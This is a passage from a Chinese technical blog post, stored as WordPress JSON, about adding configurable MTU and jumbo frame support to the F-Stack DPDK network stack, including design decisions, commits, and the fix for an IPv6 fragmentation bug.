{"id":471,"date":"2026-09-21T10:00:54","date_gmt":"2026-09-21T02:00:54","guid":{"rendered":"https:\/\/lovelyping.com\/?p=471"},"modified":"2026-10-08T17:30:10","modified_gmt":"2026-10-08T09:30:10","slug":"f-stack-2-0-%e5%89%8d%e7%9e%bb7-%ef%bc%9amtu-%e4%bf%ae%e6%94%b9%e5%92%8cjumbo-frame%e6%94%af%e6%8c%81","status":"publish","type":"post","link":"https:\/\/lovelyping.com\/?p=471","title":{"rendered":"F-Stack 2.0 \u524d\u77bb7 \uff1aMTU \u4fee\u6539\u548cjumbo frame\u652f\u6301"},"content":{"rendered":"\n<h2 class=\"wp-block-heading\">1. \u672c\u529f\u80fd\u4e3b\u8981\u4f5c\u7528\u548c\u7279\u70b9<\/h2>\n\n\n\n<p class=\"wp-block-paragraph\">F-Stack \u7684 DPDK \u63a5\u7ba1\u7f51\u5361\u4e4b\u524d\u53ea\u80fd\u9501\u6b7b\u5728 MTU 1500\uff0c\u8fd9\u6b21\u628a\u300c\u51cf\u5c0f MTU \u5df2\u53ef\u7528\u3001\u589e\u5927 MTU\uff08jumbo frame\uff09\u5b8c\u5168\u4e0d\u53ef\u7528\u300d\u7684\u73b0\u72b6\uff0c\u6539\u9020\u6210\u300c\u542f\u52a8\u65f6\u6309\u914d\u7f6e\u8bbe\u7f6e 1500~9000 \u4efb\u610f MTU\u3001\u8fd0\u884c\u65f6\u901a\u8fc7\u6807\u51c6 SIOCSIFMTU ioctl \u52a8\u6001\u4fee\u6539\u3001\u534f\u8bae\u6808\u4e0e DPDK \u786c\u4ef6\u8054\u52a8\u300d\u7684\u5b8c\u6574\u652f\u6301\u3002<strong>\u672c\u529f\u80fd\u5728dev\u5206\u652f\u548c1.21\u5206\u652f\u90fd\u5df2\u7ecf\u652f\u6301\u3002<\/strong><\/p>\n\n\n\n<p class=\"wp-block-paragraph\">\u6539\u9020\u524d\u7684\u57fa\u7ebf\u662f\u8fd9\u4e48\u4e2a\u60c5\u51b5\u30022026-07 \u4e2d\u65ec\u505a\u4e86\u4e00\u6b21\u7ed3\u8bba\u6027\u8c03\u7814\uff08\u89c1 <code>docs\/mtu_change_spec\/zh_cn\/00~15<\/code>\uff09\uff0c\u4e09\u65b9\u8bc1\u636e\u4ea4\u53c9\u5f97\u51fa\u7684\u7ed3\u8bba\u662f\u300c\u90e8\u5206\u652f\u6301\u300d\uff1a<\/p>\n\n\n\n<ul class=\"wp-block-list\"><li>\u51cf\u5c0f MTU\uff08\u22641500\uff09\uff1a\u5f00\u7bb1\u53ef\u7528\u3002<code>ff_ioctl(SIOCSIFMTU)<\/code> \u8d70 FreeBSD <code>ether_ioctl<\/code>\uff0c\u5bf9 \u2264ETHERMTU \u7684\u503c\u76f4\u63a5\u5199\u5165 <code>if_mtu<\/code> \u5373\u751f\u6548<\/li><li>\u589e\u5927 MTU\uff08&gt;1500\uff0cjumbo\uff09\uff1a\u53cc\u91cd\u963b\u65ad\u3002\u534f\u8bae\u6808\u5c42 <code>ether_ioctl<\/code> \u5bf9 <code>ifr_mtu &gt; ETHERMTU(1500)<\/code> \u786c\u7f16\u7801\u8fd4\u56de <code>EINVAL<\/code>\uff1bDPDK \u786c\u4ef6\u5c42\u5b8c\u5168\u6ca1\u6709 MTU \u63a5\u7ebf\u2014\u2014\u6ca1\u6709 <code>rte_eth_dev_set_mtu<\/code> \u8c03\u7528\u3001mbuf \u6c60\u56fa\u5b9a <code>RTE_MBUF_DEFAULT_BUF_SIZE<\/code>\uff082048 \u53ef\u7528 dataroom\uff09\u3001<code>rxmode<\/code> \u65e0 jumbo\/scatter \u914d\u7f6e<\/li><\/ul>\n\n\n\n<p class=\"wp-block-paragraph\">\u8fd9\u4e2a\u7ed3\u8bba\u548c F-Stack \u5b98\u65b9 issue #239\/#490\/#720 \u5b8c\u5168\u4e00\u81f4\uff1ajumbo \u652f\u6301 issue \u6302\u4e86\u5f88\u4e45\u4e00\u76f4\u662f OPEN\uff0c\u7ef4\u62a4\u8005\u660e\u786e\u56de\u590d\u300cmtu \u4e0d\u80fd\u8d85\u8fc7 1500\u300d\u3002\u6240\u4ee5\u8fd9\u6b21\u4efb\u52a1\u4e0d\u662f\u6253\u8865\u4e01\uff0c\u662f\u628a\u534f\u8bae\u6808\u3001DPDK \u786c\u4ef6\u5c42\u3001\u914d\u7f6e\u4f53\u7cfb\u4e09\u4e2a\u65ad\u5c42\u5168\u90e8\u63a5\u4e0a\u3002\u51e0\u4e2a\u5173\u952e\u8bcd\uff1a<\/p>\n\n\n\n<ul class=\"wp-block-list\"><li><strong>\u8f6f\u786c\u8054\u52a8<\/strong>\uff1a\u4e00\u4e2a MTU \u4e09\u4e2a\u89c6\u56fe\u2014\u2014\u534f\u8bae\u6808 <code>if_mtu<\/code>\u3001DPDK \u7aef\u53e3 MTU\u3001mbuf \u6c60\u627f\u8f7d\u80fd\u529b\uff0c\u4e09\u8005\u5fc5\u987b\u4e00\u81f4\uff0c\u4efb\u4e00\u4e0d\u4e00\u81f4\u542f\u52a8\u5373\u5931\u8d25<\/li><li><strong>\u591a\u8fdb\u7a0b\u5206\u5de5<\/strong>\uff1aDPDK \u7269\u7406\u7aef\u53e3\u662f\u5171\u4eab\u72b6\u6001\uff0cprimary \u552f\u4e00\u8d1f\u8d23\u786c\u4ef6\uff08\u8bbe\u8f6f+\u786c\uff09\uff0csecondary \u53ea\u8bbe\u672c\u8fdb\u7a0b\u8f6f\u4ef6 MTU\uff0c\u8fdb\u7a0b\u95f4\u96f6 IPC<\/li><li><strong>\u96f6\u56de\u5f52\u627f\u8bfa<\/strong>\uff1a\u65b0\u589e <code>mtu_enable<\/code> \u603b\u5f00\u5173\uff0c\u4e0d\u542f\u7528\u65f6\u65e7\u914d\u7f6e\u7684 MTU 1500\u30012176B mbuf\u3001ioctl \u884c\u4e3a\u5b8c\u5168\u4e0d\u53d8<\/li><\/ul>\n\n\n\n<h2 class=\"wp-block-heading\">2. \u672c\u529f\u80fd\u7684\u4e3b\u8981\u9002\u7528\u573a\u666f<\/h2>\n\n\n\n<h3 class=\"wp-block-heading\">2.1 \u5927\u5305\u541e\u5410\u4f18\u5316\u573a\u666f<\/h3>\n\n\n\n<p class=\"wp-block-paragraph\">\u8fd9\u662f\u6700\u76f4\u63a5\u7684\u52a8\u673a\u3002issue #1033 \u7684\u5386\u53f2\u7ed3\u8bba\u91cc\u5c31\u6709\uff1a\u5927\u5305\u573a\u666f\u6027\u80fd\u4e0b\u964d\u7684\u6839\u672c\u539f\u56e0\u90e8\u5206\u4e0e MTU 1500 \u5bfc\u81f4 IP \u5206\u7247\u6709\u5173\u3002\u542f\u7528\u5de8\u5e27\u540e 8500 \u5b57\u8282\u7684\u5305\u4e0d\u518d\u88ab\u62c6\u6210 6 \u7247\uff0c\u5206\u7247\u91cd\u7ec4\u5f00\u9500\u5f52\u96f6\u3002\u9002\u5408\u5185\u90e8\u9ad8\u901f\u7f51\u7edc\u3001\u5927\u6570\u636e\u5757\u4f20\u8f93\u3001\u5b58\u50a8\u7f51\u7edc\u8fd9\u7c7b\u80fd\u7edf\u4e00\u94fe\u8def MTU \u7684\u73af\u5883\u3002<\/p>\n\n\n\n<h3 class=\"wp-block-heading\">2.2 \u9700\u8981\u7075\u6d3b\u8c03\u5c0f MTU \u7684\u96a7\u9053\/\u53e0\u52a0\u7f51\u7edc\u573a\u666f<\/h3>\n\n\n\n<p class=\"wp-block-paragraph\">\u51cf\u5c0f MTU \u672c\u6765\u5c31\u80fd\u7528\uff0c\u4f46\u8fd9\u6b21\u6539\u9020\u540e\u8fd0\u884c\u65f6\u52a8\u6001\u4fee\u6539\u7edf\u4e00\u8d70\u6807\u51c6 SIOCSIFMTU \u8bed\u4e49\uff0c<code>ff_ifconfig f-stack-0 mtu &lt;N&gt;<\/code> \u4e00\u6761\u547d\u4ee4\u6539\u5b8c\u534f\u8bae\u6808+\u786c\u4ef6\u3002VXLAN\/GRE\/\u96a7\u9053\u53e0\u52a0\u573a\u666f\u5e38\u9700\u8981\u628a MTU \u538b\u5230 1400 \u7ea7\u522b\u7ed9\u96a7\u9053\u5934\u7559\u7a7a\u95f4\u3002<\/p>\n\n\n\n<h3 class=\"wp-block-heading\">2.3 \u591a\u8fdb\u7a0b\u751f\u4ea7\u90e8\u7f72\u7684\u5de8\u5e27\u7edf\u4e00<\/h3>\n\n\n\n<p class=\"wp-block-paragraph\">1 primary + N secondary \u7684\u7ecf\u5178\u90e8\u7f72\u4e0b\uff0c\u6bcf\u4e2a\u8fdb\u7a0b\u5404\u81ea\u8bbe\u7f6e\u4e00\u6b21 MTU \u5373\u53ef\u4fdd\u6301\u4e00\u81f4\uff08primary \u7ba1\u786c\u4ef6\u3001secondary \u7ba1\u81ea\u5df1\u7684\u8f6f\u4ef6\u89c6\u56fe\uff09\uff0c\u65e0\u9700\u4efb\u4f55\u8de8\u8fdb\u7a0b\u534f\u8c03\u673a\u5236\u3002<\/p>\n\n\n\n<h3 class=\"wp-block-heading\">2.4 \u4e0d\u592a\u9002\u5408\u7684\u573a\u666f<\/h3>\n\n\n\n<ul class=\"wp-block-list\"><li>\u94fe\u8def\u5bf9\u7aef\u4e0d\u652f\u6301 jumbo\uff1avirtio \u7b49 PMD \u7684 jumbo \u80fd\u529b\u6709\u9650\uff0c\u4e14\u9700\u8981\u5e95\u5c42\u7f51\u5361\/vSwitch\/\u5bf9\u7aef\u7edf\u4e00\u652f\u6301\uff0c\u5426\u5219\u5927\u5e27\u4e2d\u9014\u88ab\u4e22\u6216\u5206\u7247\u2014\u2014\u4ee3\u7801\u652f\u6301\u4e86\uff0c\u94fe\u8def\u4e0d\u652f\u6301\u4e5f\u662f\u767d\u642d<\/li><li>KNI \u4e0e\u5185\u6838\u5171\u5b58\u505a\u6df1\u5ea6 MTU \u8054\u52a8\u7684\u573a\u666f\uff1aKNI veth \u63a5\u53e3\u7684 MTU \u8054\u52a8\u4e0d\u5728\u672c\u671f\u8303\u56f4\uff08\u53ea\u9a8c\u8bc1\u4e86\u4e92\u65a5\u89e3\u9664\u540e\u5404\u81ea\u72ec\u7acb\u5de5\u4f5c\uff09<\/li><li>\u60f3\u8981\u8de8\u8fdb\u7a0b\u4e8b\u52a1\u7ea7 MTU \u4e00\u81f4\u6027\uff1a\u672c\u671f\u660e\u786e\u4e0d\u505a IPC \u534f\u8c03\uff0c\u672a\u8bbe\u7f6e\u7684\u8fdb\u7a0b\u8f6f\u4ef6 MTU \u4fdd\u6301\u65e7\u503c\uff0c\u8fd9\u662f\u5df2\u77e5\u4f7f\u7528\u7ea6\u675f<\/li><\/ul>\n\n\n\n<h2 class=\"wp-block-heading\">3. \u672c\u529f\u80fd\u7684\u67b6\u6784\u7279\u5f81<\/h2>\n\n\n\n<h3 class=\"wp-block-heading\">3.1 \u6539\u9020\u524d\u7684\u4e09\u5c42\u65ad\u5c42<\/h3>\n\n\n\n<p class=\"wp-block-paragraph\">\u8c03\u7814\u9636\u6bb5\u753b\u51fa\u7684\u6839\u56e0\u56fe\uff0c\u8fd9\u662f\u7406\u89e3\u6240\u6709\u6539\u9020\u7684\u8d77\u70b9\uff1a<\/p>\n\n\n\n<figure class=\"wp-block-image\"><img loading=\"lazy\" decoding=\"async\" width=\"1024\" height=\"716\" src=\"https:\/\/lovelyping.com\/wp-content\/uploads\/2026\/09\/07-mtu1-1024x716.png\" alt=\"\" class=\"wp-image-472\" srcset=\"https:\/\/lovelyping.com\/wp-content\/uploads\/2026\/09\/07-mtu1-1024x716.png 1024w, https:\/\/lovelyping.com\/wp-content\/uploads\/2026\/09\/07-mtu1-300x210.png 300w, https:\/\/lovelyping.com\/wp-content\/uploads\/2026\/09\/07-mtu1-768x537.png 768w, https:\/\/lovelyping.com\/wp-content\/uploads\/2026\/09\/07-mtu1.png 1421w\" sizes=\"auto, (max-width: 767px) 89vw, (max-width: 1000px) 54vw, (max-width: 1071px) 543px, 580px\" \/><\/figure>\n\n\n\n<h3 class=\"wp-block-heading\">3.2 \u6539\u9020\u540e\u7684 SIOCSIFMTU \u8def\u5f84\uff08\u6309\u8fdb\u7a0b\u89d2\u8272\u5206\u6d41\uff09<\/h3>\n\n\n\n<figure class=\"wp-block-image\"><img loading=\"lazy\" decoding=\"async\" width=\"1024\" height=\"677\" src=\"https:\/\/lovelyping.com\/wp-content\/uploads\/2026\/09\/07-mtu2-1024x677.png\" alt=\"\" class=\"wp-image-473\" srcset=\"https:\/\/lovelyping.com\/wp-content\/uploads\/2026\/09\/07-mtu2-1024x677.png 1024w, https:\/\/lovelyping.com\/wp-content\/uploads\/2026\/09\/07-mtu2-300x198.png 300w, https:\/\/lovelyping.com\/wp-content\/uploads\/2026\/09\/07-mtu2-768x507.png 768w, https:\/\/lovelyping.com\/wp-content\/uploads\/2026\/09\/07-mtu2.png 1668w\" sizes=\"auto, (max-width: 767px) 89vw, (max-width: 1000px) 54vw, (max-width: 1071px) 543px, 580px\" \/><\/figure>\n\n\n\n<p class=\"wp-block-paragraph\">\u5173\u952e\u8bbe\u8ba1\u7ea6\u675f\uff1a<code>ff_veth.c<\/code> \u4e0d include <code>rte_ethdev.h<\/code>\uff0c\u6240\u6709\u786c\u4ef6\u64cd\u4f5c\u8d70 <code>ff_dpdk_if.h<\/code> \u7684\u4e0d\u900f\u660e\u63a5\u53e3 <code>ff_dpdk_if_get_mtu\/set_mtu\/get_mtu_capability<\/code>\uff0cDPDK \u8d1f errno \u7ecf <code>ff_dpdk_errno_to_bsd()<\/code> \u7edf\u4e00\u8f6c BSD \u6b63 errno\u3002<\/p>\n\n\n\n<h3 class=\"wp-block-heading\">3.3 mbuf \u4e24\u79cd\u627f\u8f7d\u6a21\u5f0f<\/h3>\n\n\n\n<figure class=\"wp-block-image\"><img loading=\"lazy\" decoding=\"async\" width=\"1024\" height=\"364\" src=\"https:\/\/lovelyping.com\/wp-content\/uploads\/2026\/09\/07-mtu3-1024x364.png\" alt=\"\" class=\"wp-image-474\" srcset=\"https:\/\/lovelyping.com\/wp-content\/uploads\/2026\/09\/07-mtu3-1024x364.png 1024w, https:\/\/lovelyping.com\/wp-content\/uploads\/2026\/09\/07-mtu3-300x107.png 300w, https:\/\/lovelyping.com\/wp-content\/uploads\/2026\/09\/07-mtu3-768x273.png 768w, https:\/\/lovelyping.com\/wp-content\/uploads\/2026\/09\/07-mtu3.png 1657w\" sizes=\"auto, (max-width: 767px) 89vw, (max-width: 1000px) 54vw, (max-width: 1071px) 543px, 580px\" \/><\/figure>\n\n\n\n<p class=\"wp-block-paragraph\">large \u6a21\u5f0f <code>data_room_size = align(HEADROOM + max_mtu + L2_overhead)<\/code>\uff0c\u8d85\u8fc7 UINT16_MAX \u5fc5\u987b\u786e\u5b9a\u6027\u5931\u8d25\uff0c\u6240\u4ee5 large \u6a21\u5f0f <code>max_mtu=65535<\/code> \u4e0d\u53ef\u7528\uff1bscatter \u6a21\u5f0f\u4fdd\u6301\u6807\u51c6 mbuf\uff0c\u53ef\u914d\u5230 65535 \u4f46\u5fc5\u987b\u6ee1\u8db3 PMD \u80fd\u529b\u3002<\/p>\n\n\n\n<h2 class=\"wp-block-heading\">4. \u5177\u4f53\u505a\u4e86\u54ea\u4e9b\u6539\u9020\u3001\u9047\u5230\u4e86\u54ea\u4e9b\u95ee\u9898\u3001\u600e\u4e48\u89e3\u51b3\u7684<\/h2>\n\n\n\n<p class=\"wp-block-paragraph\">\u540e\u7eed\u6bd4\u8f83\u67af\u71e5\uff0c\u4e0d\u9700\u8981\u6df1\u5165\u7814\u7a76\u5b9e\u73b0\u8fc7\u7a0b\u7684\u53ef\u4ee5\u8df3\u8fc7\u672c\u8282\uff0c\u76f4\u63a5\u770b\u7b2c 5 \u8282\u600e\u4e48\u7528\u3002<\/p>\n\n\n\n<h3 class=\"wp-block-heading\">4.1 \u8c03\u7814\u7ed3\u8bba\u76f4\u63a5\u8f6c\u5316\u4e3a\u9700\u6c42\u51b3\u7b56\uff08D-MTU-01~06\uff09<\/h3>\n\n\n\n<p class=\"wp-block-paragraph\">\u8c03\u7814\u6536\u5c3e\u65f6\u5b9a\u4e86 6 \u6761\u51b3\u7b56\uff0c\u5168\u90e8\u8d2f\u7a7f\u5b9e\u73b0\uff1a<\/p>\n\n\n\n<table class=\"wp-block-table\"><thead><tr><th>ID<\/th><th>\u51b3\u7b56<\/th><\/tr><\/thead><tbody><tr><td>D-MTU-01<\/td><td>mbuf \u540c\u65f6\u5b9e\u73b0 large \u4e0e scatter \u4e24\u79cd\u6a21\u5f0f\uff0c\u914d\u7f6e\u9009\u62e9<\/td><\/tr><tr><td>D-MTU-02<\/td><td><code>max_mtu<\/code> \u53ef\u914d\u7f6e\uff0c\u542f\u7528\u529f\u80fd\u4e14\u7f3a\u7701\u65f6\u4e3a 9000<\/td><\/tr><tr><td>D-MTU-05<\/td><td><strong>\u4e0d\u4fee\u6539 freebsd\/ \u6811<\/strong>\uff0c\u5728 lib\/ff_veth.c \u62e6\u622a SIOCSIFMTU \u7ed5\u8fc7 ether_ioctl \u7684 1500 \u786c\u6821\u9a8c<\/td><\/tr><tr><td>D-MTU-06<\/td><td><code>mtu_enable=0<\/code> \u65f6\u884c\u4e3a\u4e0e\u65e7\u7248\u672c\u5b8c\u5168\u4e00\u81f4\uff081500 MTU\u30012176B mbuf\u3001ioctl \u4e0d\u53d8\uff09<\/td><\/tr><\/tbody><\/table>\n\n\n\n<p class=\"wp-block-paragraph\">\u5176\u4e2d D-MTU-05 \u6700\u503c\u5f97\u8bf4\u4e00\u53e5\uff1a<code>ether_ioctl<\/code> \u7684 ETHERMTU \u786c\u6821\u9a8c\u662f FreeBSD \u901a\u7528\u8bed\u4e49\uff0cf-stack \u7684\u9009\u62e9\u4e0d\u662f\u5728\u88c1\u526a\u6808\u91cc\u6539\u5b83\uff0c\u800c\u662f\u5728 ff_veth \u9a71\u52a8\u5c42\u62e6\u622a SIOCSIFMTU \u81ea\u5df1\u5904\u7406\u3002\u8fd9\u6837 freebsd\/ \u5b50\u6811\u96f6\u6539\u52a8\uff0c\u5347\u7ea7 FreeBSD \u57fa\u7ebf\u65f6\u4e0d\u4f1a\u5f15\u5165\u65b0\u7684 patch \u7ef4\u62a4\u8d1f\u62c5\u3002<\/p>\n\n\n\n<h3 class=\"wp-block-heading\">4.2 \u4ee3\u7801\u5b9e\u65bd\uff08M1~M5\uff0c2026-07-21\uff09<\/h3>\n\n\n\n<table class=\"wp-block-table\"><thead><tr><th>\u91cc\u7a0b\u7891<\/th><th>commit<\/th><th>\u5185\u5bb9<\/th><\/tr><\/thead><tbody><tr><td>M1<\/td><td>97452db34<\/td><td>\u914d\u7f6e\u89e3\u6790\u4e0e\u6821\u9a8c\uff1aenum ff_mbuf_mode\u3001ff_port_cfg.mtu\u3001dpdk.{mtu_enable,max_mtu,mbuf_mode}\uff1b\u4e25\u683c strtoul \u89e3\u6790\uff1b\u8de8\u5b57\u6bb5\u6821\u9a8c\uff1b8 \u4e2a\u5355\u6d4b +7 fixtures<\/td><\/tr><tr><td>M2<\/td><td>eec178902<\/td><td>DPDK \u5c42\uff1aff_mtu_data_room_size() \u5bf9\u9f50\u8ba1\u7b97\u3001large \u6a21\u5f0f data_room \u5c3a\u5bf8\u3001rxmode.mtu + PMD \u80fd\u529b\u68c0\u67e5 + scatter offload\u3001set\/get_mtu \u56de\u8bfb<\/td><\/tr><tr><td>M3<\/td><td>0849f9f3a<\/td><td>ff_veth \u96c6\u6210\uff1a\u4e0d\u900f\u660e MTU API\u3001DPDK errno\u2192BSD errno \u8f6c\u6362\u3001SIOCSIFMTU \u62e6\u622a\uff08primary \u8f6f+\u786c \/ secondary \u4ec5\u8f6f\uff09\u3001\u542f\u52a8\u65f6\u4ece\u786c\u4ef6\u8bfb\u521d\u59cb if_mtu<\/td><\/tr><tr><td>M4<\/td><td>ef20b1abf<\/td><td>EBUSY \u72b6\u6001\u673a\uff1a-EBUSY \u2192 stop\/set_mtu\/get_mtu\/start\uff1b\u5931\u8d25\u56de\u6eda restore \u65e7 MTU + \u91cd\u542f\u7aef\u53e3<\/td><\/tr><tr><td>M5<\/td><td>314df8a0a<\/td><td>\u96c6\u6210\u6d4b\u8bd5 + \u67b6\u6784\u6587\u6863\u66f4\u65b0<\/td><\/tr><tr><td>\u6536\u5c3e<\/td><td>0f8f6991e \/ 332abf997 \/ 4c30d118f<\/td><td>magic number \u5b8f\u5316\u3001SIOCSIFMTU handler fall-through \u53bb\u91cd\u3001bool\u2192uint8_t \u5e72\u51c0\u7f16\u8bd1\u4fee\u590d<\/td><\/tr><\/tbody><\/table>\n\n\n\n<p class=\"wp-block-paragraph\">\u914d\u7f6e\u89e3\u6790\u6709\u4e00\u6761\u94c1\u5f8b\uff1a\u7981\u6b62 <code>atoi()<\/code>\u3002\u65b0\u589e <code>ff_parse_u16\/ff_parse_mbuf_mode<\/code> \u4e25\u683c\u89e3\u6790\uff08strtoul + errno\/endptr\/\u8303\u56f4\u68c0\u67e5\uff09\uff0c\u4efb\u4e00\u914d\u7f6e\u975e\u6cd5\u5728\u542f\u52a8\u9636\u6bb5\u660e\u786e\u62a5\u9519\u7ec8\u6b62\uff0c\u7edd\u4e0d\u9759\u9ed8\u56de\u9000\u5230 1500\u3002<code>mtu_enable=0<\/code> \u4e14\u914d\u7f6e <code>mtu&gt;1500<\/code> \u76f4\u63a5\u89e3\u6790\u5931\u8d25\u5e76\u63d0\u793a\u5148\u542f\u7528\u529f\u80fd\u3002<\/p>\n\n\n\n<h3 class=\"wp-block-heading\">4.3 \u95ee\u9898\u4e00\uff1aIPv6 \u5de8\u5e27\u56de\u5305\u88ab\u6309 1448 \u5206\u7247\uff08\u6700\u5927\u7684\u5751\uff09<\/h3>\n\n\n\n<p class=\"wp-block-paragraph\">\u529f\u80fd\u4e0a\u7ebf\u7269\u7406\u673a\u9a8c\u8bc1\u65f6\uff0c\u51fa\u73b0\u4e00\u4e2a\u8be1\u5f02\u73b0\u8c61\uff1a<strong>IPv4 \u5de8\u5e27\u53cc\u5411\u6b63\u5e38\uff0cIPv6 \u6536 8500 \u5b57\u8282 ping \u6b63\u5e38\u3001\u4f46\u56de\u5305\u88ab\u62c6\u6210 6 \u4e2a 1448 \u5b57\u8282\u5206\u7247<\/strong>\u3002<\/p>\n\n\n\n<p class=\"wp-block-paragraph\">\u6293\u5305\u53cd\u63a8\uff1a6 \u7247 = 1448\u00d75 + 1268 = 8508\uff0c\u5bf9\u5e94\u5206\u7247\u516c\u5f0f <code>len = (mtu - 40 - 8) &amp; ~7<\/code>\uff0c\u53cd\u89e3\u51fa\u6765 mtu=1500\u2014\u2014\u534f\u8bae\u6808\u660e\u660e if_mtu \u5df2\u7ecf\u8bbe\u6210 9000\uff0cIPv6 \u5206\u7247\u7528\u7684 MTU \u5374\u8fd8\u662f 1500\u3002<\/p>\n\n\n\n<p class=\"wp-block-paragraph\">\u6839\u56e0\u94fe\u62c9\u4e86 12 \u4e2a file:line\uff08\u5b8c\u6574\u5206\u6790\u89c1 <code>15-IPv6\u5de8\u5e27\u5206\u7247\u5f02\u5e38\u5206\u6790.md<\/code>\uff09\uff0c\u603b\u7ed3\u4e0b\u6765\u5c31\u4e00\u53e5\uff1a<\/p>\n\n\n\n<figure class=\"wp-block-image\"><img loading=\"lazy\" decoding=\"async\" width=\"1024\" height=\"555\" src=\"https:\/\/lovelyping.com\/wp-content\/uploads\/2026\/09\/07-mtu4-1024x555.png\" alt=\"\" class=\"wp-image-475\" srcset=\"https:\/\/lovelyping.com\/wp-content\/uploads\/2026\/09\/07-mtu4-1024x555.png 1024w, https:\/\/lovelyping.com\/wp-content\/uploads\/2026\/09\/07-mtu4-300x163.png 300w, https:\/\/lovelyping.com\/wp-content\/uploads\/2026\/09\/07-mtu4-768x416.png 768w, https:\/\/lovelyping.com\/wp-content\/uploads\/2026\/09\/07-mtu4.png 1458w\" sizes=\"auto, (max-width: 767px) 89vw, (max-width: 1000px) 54vw, (max-width: 1071px) 543px, 580px\" \/><\/figure>\n\n\n\n<p class=\"wp-block-paragraph\">\u771f\u6b63\u7684\u5751\uff1a<code>if_setmtu()<\/code> \u53ea\u5199 <code>ifp-&gt;if_mtu<\/code>\uff0c<strong>\u4e0d\u542b\u534f\u8bae\u65cf\u901a\u77e5<\/strong>\u3002\u6807\u51c6 FreeBSD \u5185\u6838\u8def\u5f84 <code>ifhwioctl \u2192 if_setmtu \u2192 if_notifymtu \u2192 nd6_setmtu + rt_updatemtu<\/code> \u4f1a\u540c\u6b65 IPv6 \u7684 <code>ndi-&gt;maxmtu<\/code> \u548c\u8def\u7531 MTU\uff0c\u800c f-stack \u4e3a\u7ed5\u8fc7 ether_ioctl \u7684 1500 \u786c\u6821\u9a8c\u8d70\u4e86&#8221;\u76f4\u63a5 if_setmtu&#8221;\u7684\u6377\u5f84\uff0c\u628a <code>if_notifymtu<\/code> \u8fd9\u4e00\u6b65\u4e22\u4e86\u3002IPv4 \u8f93\u51fa\u8def\u5f84\u76f4\u63a5\u7528 <code>ifp-&gt;if_mtu<\/code> \u5224\u65ad\u5206\u7247\u6240\u4ee5\u6ca1\u4e8b\uff0cIPv6 \u8d70 IN6_LINKMTU \u5c31\u4e2d\u62db\u3002<\/p>\n\n\n\n<p class=\"wp-block-paragraph\">\u4fee\u590d\uff08commit 0f25ac495\uff0c+163\/-1\uff09\uff1a<code>ff_veth.c<\/code> \u542f\u52a8\u521d\u59cb\u5316\u548c\u8fd0\u884c\u65f6 SIOCSIFMTU \u4e24\u6761\u8def\u5f84\u7684 <code>if_setmtu<\/code> \u4e4b\u540e\u90fd\u8865\u8c03 <code>if_notifymtu(ifp)<\/code>\uff0c\u4e0e\u6807\u51c6\u5185\u6838\u8bed\u4e49\u5bf9\u9f50\u3002\u7269\u7406\u673a\u590d\u6d4b\uff1a<code>ping6 -M do -s 8500<\/code> \u56de\u5305\u4e0d\u518d\u5206\u7247\uff0cIPv6 \u5de8\u5e27\u6536\u53d1\u6b63\u5e38\u3002<\/p>\n\n\n\n<p class=\"wp-block-paragraph\">\u3010\u6ce81\u3011\u8fd9\u4e2a\u5751\u6709\u666e\u9002\u4ef7\u503c\uff1aFreeBSD \u91cc\u300c\u6539 if_mtu\u300d\u548c\u300c\u901a\u77e5\u534f\u8bae\u65cf\u300d\u662f\u4e24\u4ef6\u4e8b\uff0c\u4efb\u4f55\u7ed5\u8fc7\u6807\u51c6 ifhwioctl \u8def\u5f84\u76f4\u63a5\u8c03 if_setmtu \u7684\u4ee3\u7801\uff08\u9a71\u52a8\u521d\u59cb\u5316\u3001ioctl \u62e6\u622a\uff09\u90fd\u5fc5\u987b\u81ea\u5df1\u8865 if_notifymtu\uff0c\u5426\u5219 IPv6 \u7684 nd_ifinfo \u548c\u8def\u7531 nh_mtu \u4f1a\u6c38\u8fdc\u505c\u5728\u65e7\u503c\u3002\u987a\u5e26\u4e00\u63d0\uff0c\u5f53\u65f6\u8fd8\u6392\u67e5\u4e86\u6b21\u56e0 RA \u901a\u544a\u538b\u4f4e linkmtu \u7684\u53ef\u80fd\u6027\uff0c\u8fd0\u884c\u65f6\u9a8c\u8bc1\u786e\u8ba4 linkmtu=0\uff08\u672a\u53d7 RA \u5f71\u54cd\uff09\uff0c\u4e3b\u56e0\u4fee\u590d\u540e\u5373\u95ed\u73af\u3002<\/p>\n\n\n\n<h3 class=\"wp-block-heading\">4.4 \u95ee\u9898\u4e8c\uff1aKNI\/MTU \u4e92\u65a5\uff0c\u5148\u7981\u6b62\u540e\u89e3\u9664<\/h3>\n\n\n\n<p class=\"wp-block-paragraph\">\u9700\u6c42\u89c4\u683c R-MTU-009 \u521d\u7248\u7ea6\u5b9a\uff1a\u68c0\u6d4b\u5230 <code>mtu_enable=1<\/code> \u4e0e KNI\/\u5185\u6838\u5171\u5b58\u540c\u65f6\u542f\u7528\u65f6\uff0c\u914d\u7f6e\u9636\u6bb5\u4ee5 EOPNOTSUPP \u62d2\u7edd\u3002\u7406\u7531\u662f\u53cc\u6808 MTU \u4e0d\u4e00\u81f4\u98ce\u9669\u3002<\/p>\n\n\n\n<p class=\"wp-block-paragraph\">\u7269\u7406\u673a\u5b9e\u6d4b\u540e\u63a8\u7ffb\u4e86\u8fd9\u4e2a\u4fdd\u5b88\u51b3\u5b9a\uff08commit 989f1d2da\uff0c+1\/-6\uff09\uff1a<code>mtu_enable=1<\/code> \u4e0e <code>kni.enable=1<\/code> \u5171\u5b58\u5b8c\u5168\u6b63\u5e38\u2014\u2014veth0 MTU=1500 \u65f6\u5185\u6838\u6808\u6b63\u5e38\u62c6\u5305\u6536\u53d1\uff0c<code>ifconfig veth0 mtu 9000<\/code> \u65f6 KNI \u901a\u8def\u5de8\u5e27\u6536\u53d1\u540c\u6837\u6b63\u5e38\u3002\u4e92\u65a5\u662f\u4e2a\u4e0d\u5fc5\u8981\u7684\u9650\u5236\uff0c\u89e3\u9664\u540e KNI \u7528\u6237\u4e5f\u80fd\u7528\u5de8\u5e27\u3002<\/p>\n\n\n\n<p class=\"wp-block-paragraph\">\u3010\u6ce82\u3011\u8fd9\u4e2a\u6765\u56de\u8bf4\u660e spec \u9636\u6bb5\u7684\u4fdd\u5b88\u7ea6\u675f\u503c\u5f97\u5728\u5b9e\u6d4b\u540e\u91cd\u65b0\u5ba1\u89c6\uff1aEOPNOTSUPP 